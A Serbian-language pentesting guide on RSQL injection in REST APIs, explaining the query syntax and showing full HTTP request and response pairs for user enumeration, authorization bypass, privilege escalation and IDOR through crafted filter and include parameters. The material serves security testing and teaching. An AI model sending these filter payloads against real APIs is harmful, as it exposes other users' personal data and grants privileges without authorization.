RSQL Injection

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RSQL Injection

RSQL Injection

Šta je RSQL?

RSQL je jezik upita dizajniran za parametarsko filtriranje unosa u RESTful API-ima. Zasnovan na FIQL (Feed Item Query Language), koji je prvobitno definisao Mark Nottingham za upitivanje Atom feed-ova, RSQL se izdvaja svojom jednostavnošću i sposobnošću da izrazi složene upite na kompaktan i URI-kompatibilan način preko HTTP-a. Ovo ga čini odličnim izborom kao opšti jezik upita za pretraživanje REST krajnjih tačaka.

Pregled

RSQL Injection je ranjivost u web aplikacijama koje koriste RSQL kao jezik upita u RESTful API-ima. Slično SQL Injection i LDAP Injection, ova ranjivost se javlja kada RSQL filteri nisu pravilno sanitizovani, omogućavajući napadaču da ubaci zlonamerne upite kako bi pristupio, izmenio ili obrisao podatke bez autorizacije.

Kako to funkcioniše?

RSQL vam omogućava da gradite napredne upite u RESTful API-ima, na primer:

/products?filter=price>100;category==electronics

Ovo se prevodi u strukturirani upit koji filtrira proizvode sa cenom većom od 100 i kategorijom "elektronika".

Ako aplikacija ne validira ispravno korisnički unos, napadač bi mogao da manipuliše filtrima kako bi izvršio neočekivane upite, kao što su:

/products?filter=id=in=(1,2,3);delete_all==true

Ili čak iskoristiti za ekstrakciju osetljivih informacija pomoću Boolean upita ili ugnježdenih podupita.

Rizici

• Izloženost osetljivih podataka: Napadač može da dohvati informacije koje ne bi trebale biti dostupne.
• Modifikacija ili brisanje podataka: Injekcija filtera koji menjaju zapise u bazi podataka.
• Povećanje privilegija: Manipulacija identifikatorima koji dodeljuju uloge kroz filtere kako bi se prevarila aplikacija pristupom sa privilegijama drugih korisnika.
• Izbegavanje kontrola pristupa: Manipulacija filterima za pristup ograničenim podacima.
• Impersonacija ili IDOR: Modifikacija identifikatora između korisnika kroz filtere koji omogućavaju pristup informacijama i resursima drugih korisnika bez pravilne autentifikacije.

Podržani RSQL operatori

Napomena: Tabela zasnovana na informacijama iz MOLGENIS i rsql-parser aplikacija.

Primeri

• name=="Kill Bill";year=gt=2003
• name=="Kill Bill" and year>2003
• genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
• genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
• director.lastName==Nolan;year=ge=2000;year=lt=2010
• director.lastName==Nolan and year>=2000 and year<2010
• genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
• genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino

Napomena: Tabela zasnovana na informacijama iz rsql-parser aplikacije.

Uobičajeni filteri

Ovi filteri pomažu u preciziranju upita u API-ima:

Uobičajeni parametri

Ovi parametri pomažu u optimizaciji API odgovora:

Curjenje informacija i enumeracija korisnika

Sledeći zahtev prikazuje endpoint za registraciju koji zahteva parametar email kako bi proverio da li postoji neki korisnik registrovan sa tim emailom i vratio true ili false u zavisnosti od toga da li postoji u bazi podataka:

Zahtev

GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Odgovor

HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85

{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}

Iako se očekuje /api/registrations?email=<emailAccount>, moguće je koristiti RSQL filtre da se pokuša enumerisati i/ili izvući informacije o korisnicima korišćenjem specijalnih operatora:

Request

GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Odgovor

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"attributes": {
"tenants": []
}
}
}

U slučaju podudaranja sa važećim email nalogom, aplikacija bi vratila informacije o korisniku umesto klasičnog “true”, "1" ili bilo čega drugog u odgovoru serveru:

Request

GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Odgovor

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}

Izbegavanje autorizacije

U ovom scenariju, počinjemo od korisnika sa osnovnom ulogom i u kojem nemamo privilegovane dozvole (npr. administrator) za pristup listi svih korisnika registrovanih u bazi podataka:

Zahtev

GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Odgovor

HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

Ponovo koristimo filtre i specijalne operatore koji će nam omogućiti alternativni način da dobijemo informacije o korisnicima i izbegnemo kontrolu pristupa. Na primer, filtriramo one korisnike koji sadrže slovo “a” u svom korisničkom ID-u:

Request

GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Odgovor

HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................

Eskalacija privilegija

Veoma je verovatno da ćemo pronaći određene krajnje tačke koje proveravaju privilegije korisnika kroz njihovu ulogu. Na primer, imamo korisnika koji nema privilegije:

Zahtev

GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Odgovor

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": []
}

Korišćenjem određenih operatora mogli bismo enumerisati administratorske korisnike:

Request

GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Odgovor

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}

Nakon što se sazna identifikator administratorskog korisnika, bilo bi moguće iskoristiti eskalaciju privilegija zamenom ili dodavanjem odgovarajućeg filtera sa identifikatorom administratora i dobijanjem istih privilegija:

Request

GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Odgovor

HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
.......

Impersonacija ili Nesigurne Direktne Reference na Objekte (IDOR)

Pored korišćenja filter parametra, moguće je koristiti i druge parametre kao što je include koji omogućava uključivanje određenih parametara u rezultat (npr. jezik, država, lozinka...).

U sledećem primeru, informacije o našem korisničkom profilu su prikazane:

Zahtev

GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Odgovor

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Kombinacija filtera može se koristiti za izbegavanje kontrole autorizacije i sticanje pristupa profilima drugih korisnika:

Request

GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site

Odgovor

HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *

{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}

Reference

• RSQL Injection
• RSQL Injection Exploitation